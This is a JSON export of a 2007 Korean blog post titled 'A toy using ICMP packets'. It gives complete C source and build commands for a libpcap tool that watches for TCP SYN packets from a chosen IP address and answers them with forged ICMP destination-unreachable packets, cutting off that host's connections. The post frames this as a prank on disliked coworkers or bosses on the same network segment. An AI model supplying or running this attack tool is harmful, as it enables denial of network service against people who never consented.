{"id":85,"date":"2007-07-20T15:39:37","date_gmt":"2007-07-20T15:39:37","guid":{"rendered":"http:\/\/apollo89.com\/wordpress\/?p=85"},"modified":"2013-09-13T08:37:00","modified_gmt":"2013-09-12T23:37:00","slug":"icmp%ed%8c%a8%ed%82%b7%ec%9d%84-%ec%9d%b4%ec%9a%a9%ed%95%9c-%ec%9e%a5%eb%82%9c%ea%b0%90","status":"publish","type":"post","link":"https:\/\/apollo89.com\/wordpress\/?p=85","title":{"rendered":"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><strong>Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4.<br \/>\n\uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4.<br \/>\n<\/strong><\/p>\n<p>#########################################################################<br \/>\n# ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10<br \/>\n#<br \/>\n# \uae00\uc4f4\uc774 : \ub178\uad11\ubbfc<br \/>\n# email : dalgu2@orgio.net<br \/>\n# homepage : http:\/\/myhome.shinbiro.com\/~nkm24<br \/>\n#########################################################################<\/p>\n<p>\uc548\ub155\ud558\uc2ed\ub2c8\uae4c \ub9ac\ub205\uc2a4\uc5d0\uc11c pcap library\ub97c \uc0ac\uc6a9\ud558\uc5ec \ud328\ud0b7\uc744 \uc7a1\uc544\ubcf4\uae30\ub780 \uae00\uc744 \uc62c\ub838\ub358 \ub178\uad11\ubbfc\uc785\ub2c8\ub2e4.<br \/>\n\uc774\uae00\uc740 \uc81c\uac00 \uc62c\ub838\ub358 \uc704\uc758\uae00\uc744 \uc77d\uc5b4\ubcf4\uc168\ub2e4\ub294 \uac00\uc815\ud558\uc5d0 \uc774\uc820 \ubb34\uc5c7\uc744 \ud574 \ubcfc\uae4c \uace0\ubbfc\ud558\ub294 \ubd84\ub4e4\uc744 \uc704\ud574 \uc7ac\ubbf8\uc788\ub294 \uc7a5\ub09c\uac10 \ud558\ub098\ub97c \uc18c\uac1c\ud558\uace0\uc790 \ud569\ub2c8\ub2e4.<br \/>\n\uc774 \uc7a5\ub09c\uac10\uc744 \uac16\uace0 \ub180\uae30 \uc704\ud55c \uc870\uac74\uc740 \uc544\ub798\uc640 \uac19\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uacbd\uc6b0 1<br \/>\n1.1 \ub9d8\uc5d0 \uc548 \ub4dc\ub294 \uc0ac\ub78c\uc774 \uc788\ub2e4.<br \/>\n1.2 \uadf8 \uc0ac\ub78c\uacfc \ub09c \uac19\uc740 \ub124\ud2b8\uc6cd \uc138\ud2b8\uba3c\ud2b8\uc548\uc5d0\uc11c \ucef4\uc744 \uc4f0\uace0 \uc788\ub2e4.<br \/>\n1.3 \uadf8 \uc0ac\ub78c\uc740 \ud558\ub8e8\ub77c\ub3c4 \uc778\ud130\ub137\uc744 \uc4f0\uc9c0 \uc54a\uc73c\uba74 \ubbf8\uce58\ubc84\ub9ac\ub294 \uc0ac\ub78c\uc774\ub2e4.<br \/>\n1.4 \uadf8 \uc0ac\ub78c\uc744 \ubbf8\uccd0\ubc84\ub9ac\uac8c \ud558\uace0 \uc2f6\ub2e4.<\/p>\n<p>\uacbd\uc6b0 2<br \/>\n2.1 \ub9e8\ub0a0 \uc549\uc544\uc11c \ud39c\ub300 \uad74\ub9ac\uba74\uc11c \uacb0\uc7ac\ub9cc \ud558\ub294 \ubcf4\uae30\uc2eb\uc740 \uc0c1\uc0ac\uac00 \uc788\ub2e4.<br \/>\n2.2 \uadf8 \uc0c1\uc0ac\uc640 \ub09c \uac19\uc740 \ub124\ud2b8\uc6cd \uc138\ud2b8\uba3c\ud2b8\uc548\uc5d0\uc11c \ucef4\uc744 \uc4f0\uace0 \uc788\ub2e4.<br \/>\n2.3 \uc870\uae08\ub9cc \ub534\uc9d3 \ud558\uba74 \uc18c\ub9ac\uc9c0\ub974\uba74\uc11c \uc790\uae30\ub294 \ub9e8\ub0a0 \uc99d\uad8c\ub9cc \ud55c\ub2e4.<br \/>\n2.4 \uac00\uc11c \uba38\ub9ac\ubc15\uc744 \ud55c \ub300 \uc950\uc5b4\ubc15\uace0 \uc2f6\uc9c0\ub9cc \ub538\ub9b0 \ucc98\uc790\uc2dd\uc774 \uc788\uc5b4\uc11c \uadf8\ub807\uac8c \ubabb\ud55c\ub2e4.<br \/>\n2.5 \uc800 \ub188\uc744 \uc5b4\ub5bb\uac8c \ubbf8\uccd0\ubc84\ub9ac\uac8c \ud558\uc9c0&#8230;<\/p>\n<p>\uacbd\uc6b0 3<br \/>\n3.1 \uadf8 \ub188\uacfc \ub098\ub294 \ub9c8\uc8fc\ubcf8\ub2e4.<br \/>\n3.2 \uadf8 \ub188\uacfc \ub09c \uac19\uc740 \ub124\ud2b8\uc6cd \uc138\ud2b8\uba3c\ud2b8\uc548\uc5d0\uc11c \ucef4\uc744 \uc4f0\uace0 \uc788\ub2e4.<br \/>\n3.3 \ub208\uc774 \ub3cc\uc544\uac00\ub294 \uac83\uc744 \uac00\ub9cc\ud788 \ubcf4\uba74 \ubd84\uba85 \ub534 \uc9d3\uc744 \ud558\uace0 \uc788\ub2e4.<br \/>\n3.4 \ub0b4\uac00 \ub2e4\uac00\uac00\uba74 \uc7ac\ube68\ub9ac \ub9c8\uc6b0\uc2a4 \uc870\uc791\uc744 \ud55c\ub2e4.<br \/>\n3.5 \ubaa8\ub2c8\ud130 \ud654\uba74\uc744 \ubcf4\uba74 \uac01\uc885 \uc11c\ub958 \ud3b8\uc9d1 \ud654\uba74\ub9cc \ubcf4\uc778\ub2e4.<br \/>\n3.6 \uc774 \ub188 \ubd84\uba85\ud788 \ub534 \uc9d3 \ud558\uace0 \uc788\ub294\ub370 \uc190\uac00\ub77d \uac81\ub098\uac8c \ube60\ub974\ub124&#8230;<\/p>\n<p>\uacbd\uc6b0 4<br \/>\n4.1 \ud504\ub85c\uc81d\ud2b8\uac00 \uce58\uba85\uc801\uc778 \ubc84\uadf8 \ub54c\ubb38\uc5d0 \ub9c9\ud600\uc788\ub2e4.<br \/>\n4.2 \uadf8\ub7f0\ub370\ub3c4 \uadf8 \ub188\uc740 \uc544\ub791\uacf3\ud558\uc9c0 \uc54a\uace0 \uac8c\uc784\ub9cc \ud55c\ub2e4.<br \/>\n4.3 \uc131\uc9c8\uc774 \ub354\ub7ec\uc6cc\uc11c \uac74\ub4e4\uc9c0\ub3c4 \ubabb\ud558\uaca0\ub2e4.<br \/>\n4.4 \uc774 \ub188\uc744 \uc5b4\ub5bb\uac8c \ud558\uc9c0&#8230;<\/p>\n<p>\uc870\uac74\uc774 \ucda9\uc871\ub41c\ub2e4\uba74 \uc544\ub798\uc758 \uae00\uc744 \uc77d\uc5b4\uc8fc\uc2ed\uc2dc\uc694&#8230;<br \/>\n\ucc38\uace0\ub85c \uc774 \uac83\uc744 \uc774\uc6a9\ud558\uc5ec \uc77c\uc5b4\ub09c \uc778\uc801,\ubb3c\uc801 \ud53c\ud574\uc5d0 \ub300\ud574\uc11c\ub294 \uc800\ub294 \uc808\ub300\ub85c \ucc45\uc784\uc744 \uc9c0\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \uc774\uac83\uc5d0 \ub3d9\uc758 \ud558\uc2dc\ub294 \ubd84\ub9cc \uc774 \uc7a5\ub09c\uac10\uc744 \uc774\uc6a9\ud560 \uad8c\ub9ac\ub97c \ub4dc\ub9bd\ub2c8\ub2e4.<\/p>\n<p>\uc81c\uac00 \uc18c\uac1c\ud558\uace0\uc790 \ud558\ub294 \uc18c\uc2a4\ub294 ping \ud504\ub85c\uadf8\ub7a8\uc5d0\uc11c \uc774\uc6a9\ud558\ub294 icmp packet\ub97c \uc774\uc6a9\ud55c \uac04\ub2e8\ud55c hacking source\uc785\ub2c8\ub2e4.<br \/>\n\uc804\uc5d0 \uc62c\ub838\ub358 \uae00\uc5d0\uc11c \ucc98\ub7fc pcap library\ub97c \uc774\uc6a9\ud558\uc5ec \uc6d0\ud558\ub294 \ud638\uc2a4\ud2b8\uc758 \ud328\ud0b7\uc744 \ud68d\ub4dd\ud558\uc5ec \ucc28\ub2e8 \ud328\ud0b7\uc744 \uc804\uc1a1\ud558\ub294 \uc6d0\ub9ac\ub85c \ub418\uc5b4\uc788\uc2b5\ub2c8\ub2e4.<br \/>\n\uc790\uc138\ud55c \uc124\uba85\uc740 \uc18c\uc2a4\uc5d0 \ub098\uc640 \uc788\uc73c\ub2c8 \ucc38\uace0\ubc14\ub78d\ub2c8\ub2e4.<br \/>\n\ucc38\uace0\ub85c \uc800\ub294 \ud504\ub85c\uadf8\ub7a8 \ucd08\ubcf4\uc785\ub2c8\ub2e4.<\/p>\n<p>\ucef4\ud30c\uc77c\ud558\uba74 waring\uc774 \ub730 \uac81\ub2c8\ub2e4. \uc5b4\ub5bb\uac8c \uc5c6\uc560\ub294\uc9c0 \uc798 \ubaa8\ub974\uaca0\uc2b5\ub2c8\ub2e4. \uac00\ub974\uccd0 \uc8fc\uc2e4\ubd84\uc740 \uba5c \uc8fc\uc138\uc694&#8230;^^<br \/>\n\uc5ec\uae30\uc5d0 \ub098\uc640 \uc788\ub294 \uc18c\uc2a4\ub294 UNP(UNIX NETWORK PROGRAMMING Volumn1 second edition)\uc640 tcpdump\ub97c \ucc38\uc870\ud558\uc5ec study -> copy -> paste -> replace -> rebuild\uc758 \uacfc\uc815\uc744 \uac70\uce5c \uc18c\uc2a4\uc785\ub2c8\ub2e4.<br \/>\n\uc18c\uc2a4\uac00 \uc57d\uac04 \uc9c0\uc800\ubd84\ud558\ub354\ub77c\uace0 \uc591\ud574 \ubc14\ub77c\uba70 \uc81c\uac00 \uc57d\uac04 \ucca8\uac00\ud55c \ubd80\ubd84\uc740 ping \ud504\ub85c\uadf8\ub7a8\uc744 \ucc38\uace0\ud558\uc5ec icmp error packet\uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\ub0b4\ub294 \ubd80\ubd84 \uc815\ub3c4\uc785\ub2c8\ub2e4.<\/p>\n<p>\ub204\uad70\uac00 \uadf8\ub7ec\ub354\uad70\uc694. \uc9c4\uc815\ud55c \ud504\ub85c\uadf8\ub798\uba38\ub294 \uc774 \uc138\uc0c1\uc5d0\uc11c \uba87 \uba85 \uc548 \ub41c\ub2e4\uace0&#8230;<br \/>\n\ub09c \uc5b8\uc81c\ucbe4 \ucc45 \uc548\ubcf4\uace0 \ud504\ub85c\uadf8\ub798\ubc0d \ud560 \uc218 \uc788\uc744\uae4c&#8230;<br \/>\n\ucc38 \uc804\uc5d0 \uc62c\ub838\ub358 \uc18c\uc2a4\ub3c4 \ucef4\ud30c\uc77c\uc774 \uc548 \ub418\ub2e4\ub294 \uba5c\uc744 \ubc1b\uc558\ub294\ub370 \ub300\ubd80\ubd84\uc774<br \/>\nbpf.h\uac00 \uc5c6\ub2e4\ub294 \uc5d0\ub7ec\uc600\uc2b5\ub2c8\ub2e4.<\/p>\n<pre class=\"lang:default decode:true \" >]# cp -f \/usr\/include\/pcap\/net\/bpf.h \/usr\/include\/net\r\n]# gcc -g -Wall -o icmp_toy icmp_toy.c -lpcap\r\n<\/pre>\n<p>\uc774\ub807\uac8c \ucef4\ud30c\uc77c\ud558\uc2dc\uba74 \ub429\ub2c8\ub2e4. \ucef4\ud30c\uc77c\ud558\uae30 \uadc0\ucc2e\uc73c\uc2dc\uba74 \uc800\uc758 \ud648\ud398\uc774\uc9c0 \ubc14\uc774\ub108\ub9ac\ub97c \ub9c1\ud06c\uc2dc\ucf1c \ub193\uc558\uc73c\ub2c8 \ubc1b\uc544\uac00\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4.(intel x86) \uc790\uae30 \ub9ac\ub205\uc2a4 \ubc15\uc2a4\uc5d0\uc11c \uba3c\uc800 \ud14c\uc2a4\ud2b8\ub97c \ud574 \ubcf4\uc138\uc694&#8230;<\/p>\n<pre class=\"lang:default decode:true \" >#.\/icmp_toy xxx.xxx.xxx.xxx<\/pre>\n<p>\uc704\uc640 \uac19\uc774 \ud55c\ub2e4\uc74c \ub2e4\ub978 \ucc3d\uc5d0\uc11c telnet\uc774\ub098 web\uc744 \uc774\uc6a9\ud574 \ubcf4\uc138\uc694&#8230;^^<br \/>\n\uc7a5\ubbf8 \ud55c \uc1a1\uc774\ub97c \ubc1b\uac8c \ub420 \uac81\ub2c8\ub2e4&#8230;^^<br \/>\nxxx.xxx.xxx.xxx\uc740 \ubcf8\uc778\uc758 \ucef4 ip address\uc785\ub2c8\ub2e4.<\/p>\n<pre class=\"lang:c decode:true \" >]# vi icmp_toy.c\r\n#include &lt;sys\/types.h&gt;\r\n#include &lt;sys\/time.h&gt;\r\n#include &lt;netinet\/in.h&gt;\r\n#include &lt;net\/ethernet.h&gt;\r\n#include &lt;pcap\/pcap.h&gt; \/\/ libpcap\ub97c \uc704\ud55c \ud5e4\ub354\ud654\uc77c\r\n#include &lt;signal.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;errno.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;netinet\/ip.h&gt;\r\n#include &lt;netinet\/tcp.h&gt;\r\n#include &lt;netinet\/ip_icmp.h&gt;\r\n\r\n#define PROMISCUOUS 1\r\n\/\/ \uc790\uc2dd \ud504\ub85c\uc138\uc2a4 \uc0dd\uc131 \uac1c\uc218\r\nstatic int nchild = 5;\r\nchar target_ip[16];\r\n\r\nstatic pid_t *pids;\r\nstatic pcap_t *pd;\r\n\r\n\/* checksum \uc54c\uace0\ub9ac\uc998\ub97c \uad6c\ud604\ud55c \ud568\uc218 \ub098\ub294 copy &amp; paste \ud788\ud788 *\/ \r\nunsigned short in_cksum(unsigned short *addr, int len)\r\n{\r\n\tint nleft = len;\r\n\tint sum = 0;\r\n\tunsigned short *w = addr;\r\n\tunsigned short answer = 0;\r\n\r\n\twhile (nleft &gt; 1) {\r\n\t\tsum += *w++;\r\n\t\tnleft -= 2;\r\n\t}\r\n\r\n\tif (nleft == 1) {\r\n\t\t*(unsigned char *) (&amp;answer) = *(unsigned char *) w;\r\n\t\tsum += answer;\r\n\t}\r\n\r\n\tsum = (sum &gt;&gt; 16) + (sum &amp; 0xffff);\r\n\tsum += (sum &gt;&gt; 16);\r\n\tanswer = ~sum;\r\n\treturn (answer);\r\n}\r\n\r\n\r\n\/* --------------------------------------------------------------------\r\n   icmp packet \uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\ub0b4\ub294 \ud568\uc218 : \ub10c \uc774\uc81c \uc778\ud130\ub137\uacfc \uace0\ub9bd\ub418\ub294 \uac70\uc57c!!\r\n   -------------------------------------------------------------------*\/\r\nvoid send_icmp(int sockfd, struct iphdr *iph, struct tcphdr *tcph)\r\n{\r\n\tchar buff[36]; \/\/ icmp packet \uc758 \uc804\uccb4\ubd80\ubd84\r\n\tchar data[28]; \/\/icmp data \ubd80\ubd84 ip header:20bytes + ulp header:8bytes\r\n\t\/* \ud654\uba74\uc5d0 \ucc0d\uae30 \uc704\ud574 ip\ub97c \uc784\uc2dc\uc800\uc7a5\ud558\uae30 \uc704\ud55c \uacf5\uac04 *\/\r\n\tint len;\r\n\tstruct sockaddr send;\r\n\tstruct icmp *icmp;\r\n\tstruct sockaddr_in *willsend;\r\n\r\n\twillsend = (struct sockaddr_in *) &amp;send;\r\n\twillsend-&gt;sin_family = AF_INET;\r\n\twillsend-&gt;sin_addr.s_addr = iph-&gt;saddr;\r\n\r\n\tfprintf(stdout,\\\"A player\\'s number is (%d) : Shot!! ---&lt;-@ %s n\\\", getpid(), target_ip);\r\n\ticmp = (struct icmp *) buff;\r\n\t\/\/ \ubaa9\uc801\uc9c0 \ubbf8\ub3c4\ub2ec : ICMP type\r\n\ticmp-&gt;icmp_type = ICMP_DEST_UNREACH; \r\n\ticmp-&gt;icmp_code = ICMP_PROT_UNREACH;\r\n\ticmp-&gt;icmp_id = 0;\r\n\ticmp-&gt;icmp_seq = 0;\r\n\t\/\/ icmp data \ubd80\ubd84\uc911\uc5d0 \ud328\ud0b7\uc758 ip header\r\n\tmemcpy(data, iph, 20);\r\n\t\/\/ icmp data \ubd80\ubd84\uc911\uc5d0 \ud328\ud0b7\uc758 Upper Layer Protocol\uc758 \uc0c1\uc704 8 bytes\r\n\tmemcpy(data + 20, tcph, 8);\r\n\t\/\/ data\ubd80\ubd84\uc744 icmp_data\ubd80\ubd84\uc5d0 \ub300\uc785\r\n\tmemcpy(icmp-&gt;icmp_data, data, 28);\r\n\t\/\/ \ubcf4\ub0b4\uac8c \ub420 icmp packet\uc758 \uae38\uc774 : 36 bytes\r\n\tlen = 8 + 20 + 8;\r\n\t\/\/ icmp checksum field \uacc4\uc0b0\r\n\ticmp-&gt;icmp_cksum= 0;\r\n\ticmp-&gt;icmp_cksum= in_cksum((u_short *) icmp, len);\r\n\t\/\/ \uc644\uc131\ub41c ICMP packet \ubcf4\ub0b4\uae30\r\n\tsendto(sockfd, buff, len, 0, &amp;send, sizeof(send)); \r\n}\r\n\r\n\/\/ \uc7a5\ub09c \uce60 \ub188 \ucef4ip \r\nvoid checkip(struct iphdr *iph, struct tcphdr *tcph) \r\n{\r\n\tint sockfd;\r\n\tchar source_ip[16]; \r\n\r\n\tstrcpy(source_ip, (char *)inet_ntoa(iph-&gt;saddr));\r\n\r\n\tsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); \r\n\t\/\/ip \ube44\uad50 \uc544\ub2d8 \ub9d0\uad6c...\r\n\tif ( strcmp(target_ip, source_ip) == 0 )\r\n\t\tsend_icmp(sockfd, iph, tcph);\r\n\r\n\tclose(sockfd);\r\n}\r\n\r\n\/\/ ip header\uc640 tcp header\ub97c mapping\r\nvoid packet_info(char *user, int len)\r\n{\r\n\tstruct iphdr *iph;\r\n\tstruct tcphdr *tcph;\r\n\t\/\/ ip header \ub97c \ud3ec\uc778\ud130\r\n\tiph = (struct iphdr *) user;\r\n\t\/\/ tcp header \ub97c \ud3ec\uc778\ud130\r\n\ttcph = (struct tcphdr *) (user + iph-&gt;ihl *4);\r\n\tcheckip(iph, tcph);\r\n}\r\n\r\n\r\nvoid sig_int(int sig)\r\n{\r\n\tint i;\r\n\r\n\t\/\/ \ubaa8\ub4e0 \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\ub97c \uc8fd\uc778\ub2e4.\r\n\tfor(i=0; i&lt;nchild; i++)\r\n\t\tkill(pids[i],SIGTERM);\r\n\r\n\t\/* ---------------------------------------------\r\n\t   \ubaa8\ub4e0 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 \uc8fd\uc744 \ub54c\uae4c\uc9c0 \uae30\ub2e4\ub9b0\ub2e4.\r\n\t   \ub354 \uc774\uc0c1 \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uac00 \uc5c6\uc73c\uba74 wait()\ub294 -1\ub97c\r\n\t   \ub9ac\ud134\ud558\uae30 \ub54c\ubb38\uc5d0 while loop\ub97c \ube60\uc838\ub098\uc624\uac8c \ub418\uace0\r\n\t   \ubd80\ubaa8\ub3c4 exit(0)\uc5d0 \uc758\ud574 \uc885\ub8cc\ud55c\ub2e4.\r\n\t   --------------------------------------------*\/\r\n\twhile(wait(NULL) &gt; 0)\r\n\t\t;\r\n\r\n\tfprintf(stdout,\\\"Bye!!n\\\");\r\n\texit(0); \r\n\r\n}\r\n\r\n\/\/ prefork\ubc29\uc2dd\uc744 \uc774\uc6a9\ud55c child pool \ub9cc\ub4e4\uae30 \r\npid_t child_make(int i, pcap_t *pd, int datalink)\r\n{\r\n\tpid_t pid;\r\n\tvoid child_main(int, pcap_t *, int);\r\n\r\n\tif ((pid=fork()) &gt; 0) {\r\n\t\treturn (pid); \/\/ parent \uc778\uacbd\uc6b0 \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uc758 pid\ub97c \ub9ac\ud134\r\n\t}\r\n\t\/\/ child\uc778 \uacbd\uc6b0 \uc544\ub798 \ud568\uc218 \ud638\ucd9c\r\n\tchild_main(i, pd, datalink);\r\n}\r\n\r\n\r\nvoid child_main(int i, pcap_t *pd, int datalink)\r\n{\r\n\tvoid packet_loop(pcap_t *, int);\r\n\r\n\tprintf(\\\"CHILD %ld startingn\\\", (long) getpid());\r\n\r\n\tpacket_loop(pd, datalink);\r\n}\r\n\r\n\/\/ unp\uc5d0 \uc788\ub2e4.\r\nchar *next_pcap(pcap_t *pd, int *len)\r\n{\r\n\tchar *ptr;\r\n\tstruct pcap_pkthdr hdr;\r\n\r\n\twhile( (ptr = (char *) pcap_next(pd, &amp;hdr)) == NULL) ;\r\n\r\n\t*len = hdr.caplen;\r\n\treturn (ptr);\r\n}\r\n\r\n\r\nvoid packet_loop(pcap_t *pd, int datalink)\r\n{\r\n\tint len; \r\n\tchar *ptr;\r\n\r\n\t\/* -----------------------------------------------\r\n\t   \uacc4\uc18d\uc801\uc73c\ub85c packet\uc744 \uc77d\uc5b4\ub4e4\uc774\ub294 loop\r\n\t   ---------------------------------------------*\/\r\n\tfor(;;) {\r\n\t\tptr = next_pcap(pd, &amp;len); \r\n\t\tswitch (datalink) {\r\n\t\t\tcase DLT_EN10MB :\r\n\t\t\t\tpacket_info(ptr+14, len-14);\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t} \r\n}\r\n\r\nvoid usage(void)\r\n{\r\n\tfprintf(stdout, \\\"SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address)n\\\");\r\n}\r\n\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tstruct bpf_program fcode;\r\n\tchar *device, *filter_rule;\r\n\tchar ebuf[PCAP_ERRBUF_SIZE];\r\n\tint i, j, snaplen = 68;\r\n\tbpf_u_int32 localnet, netmask;\r\n\r\n\t\/\/\uc2dc\uadf8\ub110 \ub4f1\ub85d\r\n\tsignal(SIGINT, sig_int); \r\n\r\n\tif(argc &lt; 2) {\r\n\t\tusage();\r\n\t\texit(1);\r\n\t}\r\n\r\n\t\/\/ \uc7a5\ub09c \uce60 \ucef4\ud4e8\ud130 \ud638\uc2a4\ud2b8 \uc8fc\uc18c\ub97c \ubcf5\uc0ac...\r\n\tstrcpy(target_ip, argv[1]);\r\n\r\n\t\/* ---------------------------------------\r\n\t   tcp syn packet\ub9cc \ud544\ud130\ub9c1\ud55c\ub2e4\r\n\t   --------------------------------------*\/\r\n\tfilter_rule = \\\"tcp and tcp[13:1] &amp; 2 != 0\\\";\r\n\t\/\/filter_rule = \\\"ip\\\";\r\n\r\n\tdevice = pcap_lookupdev(ebuf);\r\n\tif(device == NULL) {\r\n\t\tperror(ebuf); \r\n\t\texit(1);\r\n\t}\r\n\r\n\tpd = pcap_open_live(device, snaplen, PROMISCUOUS, 1000, ebuf);\r\n\tif(pd == NULL) {\r\n\t\tperror(ebuf); \r\n\t\texit(1);\r\n\t}\r\n\r\n\ti = pcap_snapshot(pd);\r\n\tif(snaplen &lt; i) {\r\n\t\tperror(ebuf); \r\n\t\texit(1);\r\n\t}\r\n\r\n\tif(pcap_lookupnet(device, &amp;localnet, &amp;netmask, ebuf) &lt; 0) {\r\n\t\tperror(ebuf);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tsetuid(getuid());\r\n\r\n\tif(pcap_compile(pd, &amp;fcode, filter_rule, 0, netmask) &lt; 0) {\r\n\t\tperror(ebuf);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tif(pcap_setfilter(pd, &amp;fcode) &lt; 0) {\r\n\t\tperror(ebuf);\r\n\t\texit(1);\r\n\t}\r\n\r\n\tfflush(stderr);\r\n\r\n\tpids = calloc(nchild, sizeof(pid_t));\r\n\t\/* ----------------------------------------------\r\n\t   nchild \ub9cc\ud07c \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\ub97c \uc0dd\uc131\ud558\uae30 \uc704\ud55c loop\r\n\t   --------------------------------------------*\/\r\n\tfor(j=0; j&lt;nchild; j++)\r\n\t\tpids[j] = child_make(j, pd, pcap_datalink(pd));\r\n\r\n\tfor(;;)\r\n\t\tpause(); \/\/ signal \uc774 \ubc1c\uc0dd\ud560\ub54c\uae4c\uc9c0 \uc2e4\ud589\uc744 \uc9c0\uc5f0\uc2dc\ud0a8\ub2e4.\r\n}\r\n<\/pre>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. ######################################################################### # ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 # # \uae00\uc4f4\uc774 : \ub178\uad11\ubbfc # email : dalgu2@orgio.net &hellip; <a href=\"https:\/\/apollo89.com\/wordpress\/?p=85\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[409,703],"tags":[1047,1048],"class_list":["post-85","post","type-post","status-publish","format-standard","hentry","category-cc","category-securityhacking","tag-icmp","tag-icmp_toy"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 - Apollo89.com<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/apollo89.com\/wordpress\/?p=85\" \/>\n<meta property=\"og:locale\" content=\"ko_KR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 - Apollo89.com\" \/>\n<meta property=\"og:description\" content=\"&nbsp; Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. ######################################################################### # ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c \uc7a5\ub09c\uac10 # # \uae00\uc4f4\uc774 : \ub178\uad11\ubbfc # email : dalgu2@orgio.net &hellip; Continue reading &rarr;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/apollo89.com\/wordpress\/?p=85\" \/>\n<meta property=\"og:site_name\" content=\"Apollo89.com\" \/>\n<meta property=\"article:published_time\" content=\"2007-07-20T15:39:37+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2013-09-12T23:37:00+00:00\" \/>\n<meta name=\"author\" content=\"apollo89\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\uae00\uc4f4\uc774\" \/>\n\t<meta name=\"twitter:data1\" content=\"apollo89\" \/>\n\t<meta name=\"twitter:label2\" content=\"\uc608\uc0c1 \ub418\ub294 \ud310\ub3c5 \uc2dc\uac04\" \/>\n\t<meta name=\"twitter:data2\" content=\"4\ubd84\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/?p=85\"},\"author\":{\"name\":\"apollo89\",\"@id\":\"https:\\\/\\\/apollo89.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/93f56825cac3b2f18e5f107995066c82\"},\"headline\":\"ICMP\ud328\ud0b7\uc744 \uc774\uc6a9\ud55c 